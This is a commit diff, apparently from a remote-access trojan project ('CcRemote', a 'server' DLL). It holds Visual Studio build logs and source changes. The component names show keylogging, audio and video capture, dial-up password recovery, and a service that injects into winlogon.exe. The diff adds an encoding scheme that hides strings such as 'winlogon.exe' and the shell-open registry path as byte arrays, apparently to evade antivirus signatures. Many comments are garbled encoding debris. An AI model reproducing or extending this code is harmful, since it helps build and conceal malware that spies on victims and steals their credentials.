|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
|
||||||
|
f:\myapp\ccremote\bin\server\ccmaindll.dll
|
||||||
|
f:\myapp\ccremote\bin\server\ccmaindll.pdb
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog
|
||||||
|
@@ -22,12 +22,18 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(484): warning C4018: “>
|
|||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
||||||
until.cpp
|
until.cpp
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(69): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(103): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(103): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(176): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(179): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(292): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(292): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(324): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(324): warning C4309: “初始化”: 截断常量值
|
||||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||||
AudioManager.cpp
|
AudioManager.cpp
|
||||||
Dialupass.cpp
|
Dialupass.cpp
|
||||||
@@ -52,20 +58,46 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 's
|
|||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||||
KernelManager.cpp
|
KernelManager.cpp
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(192): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(192): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(218): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(218): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(256): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(256): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(275): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(275): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(310): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(310): warning C4309: “初始化”: 截断常量值
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(146): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(146): warning C4309: “初始化”: 截断常量值
|
||||||
Manager.cpp
|
Manager.cpp
|
||||||
RegEditEx.cpp
|
RegEditEx.cpp
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(10): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(75): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(75): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(76): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(76): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(77): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(77): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(78): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(78): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(79): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(79): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(110): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(124): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(151): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(121): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(122): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||||
ScreenManager.cpp
|
ScreenManager.cpp
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
|
||||||
@@ -83,21 +115,35 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'st
|
|||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||||
VideoCap.cpp
|
VideoCap.cpp
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(119): warning C4101: “gCapTureParms”: 未引用的局部变量
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(124): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||||
VideoManager.cpp
|
VideoManager.cpp
|
||||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||||
FileManager.cpp
|
FileManager.cpp
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4309: “初始化”: 截断常量值
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(247): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(247): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(291): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(292): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(442): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(614): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(617): warning C4307: “+”: 整型常量溢出
|
||||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||||
dllmain.cpp
|
dllmain.cpp
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(103): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(103): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(160): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(160): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4309: “初始化”: 截断常量值
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(225): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4838: 从“int”转换到“char”需要收缩转换
|
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4309: “初始化”: 截断常量值
|
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4309: “初始化”: 截断常量值
|
||||||
@@ -109,7 +155,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”:
|
|||||||
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
|
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
|
||||||
正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
|
正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
|
||||||
正在生成代码
|
正在生成代码
|
||||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(260): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
|
||||||
All 352 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
All 352 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||||
已完成代码的生成
|
已完成代码的生成
|
||||||
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll
|
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll
|
||||||
|
@@ -1,6 +1,7 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
//<2F><><EFBFBD>ص<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ͷŵ<CDB7>
|
//<2F><><EFBFBD>ص<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ͷŵ<CDB7>
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||||
//char* encryptionStr(char* str)
|
//char* encryptionStr(char* str)
|
||||||
//{
|
//{
|
||||||
// int len = strlen(str);
|
// int len = strlen(str);
|
||||||
@@ -13,6 +14,9 @@
|
|||||||
// return a;
|
// return a;
|
||||||
//}
|
//}
|
||||||
|
|
||||||
|
#define STR_CRY_LENGTH 0 //<2F><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD>
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||||
char* decodeStr(char* str);
|
char* decodeStr(char* str);
|
||||||
|
|
||||||
|
|
||||||
|
@@ -208,8 +208,17 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
|
|||||||
RegQueryValue(hKey, NULL, strTemp, &nSize);
|
RegQueryValue(hKey, NULL, strTemp, &nSize);
|
||||||
RegCloseKey(hKey);
|
RegCloseKey(hKey);
|
||||||
memset(lpSubKey, 0, sizeof(lpSubKey));
|
memset(lpSubKey, 0, sizeof(lpSubKey));
|
||||||
wsprintf(lpSubKey, "%s\\shell\\open\\command", strTemp);
|
|
||||||
|
//strcry
|
||||||
|
char shell_open_command[] = {0x15,0xee,0xb9,0x95,0xbb,0xaf,0xa3,0xa9,0xa8,0x9f,0xad,0xb1,0xa5,0xd1,0xe2,0xde,0xd3,0xd6,0xd7,0xd8,0xd6,0xd3 }; //%s\\shell\\open\\command
|
||||||
|
char* pShell_open_command = decodeStr(shell_open_command); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
|
|
||||||
|
wsprintf(lpSubKey, pShell_open_command, strTemp);
|
||||||
|
|
||||||
|
memset(pShell_open_command, 0, shell_open_command[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pShell_open_command;
|
||||||
|
|
||||||
|
|
||||||
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||||
return false;
|
return false;
|
||||||
memset(strTemp, 0, sizeof(strTemp));
|
memset(strTemp, 0, sizeof(strTemp));
|
||||||
@@ -231,12 +240,23 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
|
|||||||
|
|
||||||
STARTUPINFO si = {0};
|
STARTUPINFO si = {0};
|
||||||
PROCESS_INFORMATION pi;
|
PROCESS_INFORMATION pi;
|
||||||
char local_lpDesktop[] = "WinSta0\\Default";
|
|
||||||
|
|
||||||
|
|
||||||
|
//---crystr
|
||||||
|
char WinSta0[] = { 0x0f,0x9c,0xa3,0xa7,0x9b,0xb3,0xa7,0xf5,0x98,0x87,0xa7,0xa7,0xa1,0xca,0xd2,0xc9 }; //WinSta0\\Default
|
||||||
|
char* pWinSta0 = decodeStr(WinSta0); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
|
//char local_lpDesktop[] = "WinSta0\\Default";
|
||||||
|
|
||||||
|
|
||||||
si.cb = sizeof si;
|
si.cb = sizeof si;
|
||||||
if (nShowCmd != SW_HIDE)
|
if (nShowCmd != SW_HIDE)
|
||||||
si.lpDesktop = local_lpDesktop;
|
si.lpDesktop = pWinSta0;
|
||||||
|
|
||||||
CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
||||||
|
|
||||||
|
memset(pWinSta0, 0, WinSta0[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pWinSta0;
|
||||||
}
|
}
|
||||||
UINT CFileManager::SendDriveList()
|
UINT CFileManager::SendDriveList()
|
||||||
{
|
{
|
||||||
|
@@ -68,7 +68,7 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
|||||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
|
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
|
||||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||||
break;
|
break;
|
||||||
case COMMAND_AUDIO: // <20><><EFBFBD><EFBFBD>ͷ
|
case COMMAND_AUDIO: // ¼<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
|
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
|
||||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||||
break;
|
break;
|
||||||
@@ -143,9 +143,14 @@ void CKernelManager::UnInstallService()
|
|||||||
lstrcat(strRecordFile, "\\syslog.dat");
|
lstrcat(strRecordFile, "\\syslog.dat");
|
||||||
DeleteFile(strRecordFile);
|
DeleteFile(strRecordFile);
|
||||||
|
|
||||||
|
char winlogon[] = { 0x0c,0xbc,0xa3,0xa7,0xa4,0xa8,0xa1,0xaa,0xaa,0xed,0xa7,0xb9,0xa5 }; //winlogon.exe
|
||||||
|
char* winlogon_exe = decodeStr(winlogon); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
if (m_dwServiceType != 0x120) // owner<65><72>Զ<EFBFBD><D4B6>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD>ֹͣ<CDA3>Լ<EFBFBD>ɾ<EFBFBD><C9BE>,Զ<><D4B6><EFBFBD>߳<EFBFBD>ɾ<EFBFBD><C9BE>
|
if (m_dwServiceType != 0x120) // owner<65><72>Զ<EFBFBD><D4B6>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD>ֹͣ<CDA3>Լ<EFBFBD>ɾ<EFBFBD><C9BE>,Զ<><D4B6><EFBFBD>߳<EFBFBD>ɾ<EFBFBD><C9BE>
|
||||||
{
|
{
|
||||||
InjectRemoveService("winlogon.exe", m_strServiceName);
|
InjectRemoveService(winlogon_exe, m_strServiceName);
|
||||||
}
|
}
|
||||||
else // shared<65><64><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD>,<2C><><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
else // shared<65><64><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD>,<2C><><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||||
{
|
{
|
||||||
@@ -153,6 +158,8 @@ void CKernelManager::UnInstallService()
|
|||||||
}
|
}
|
||||||
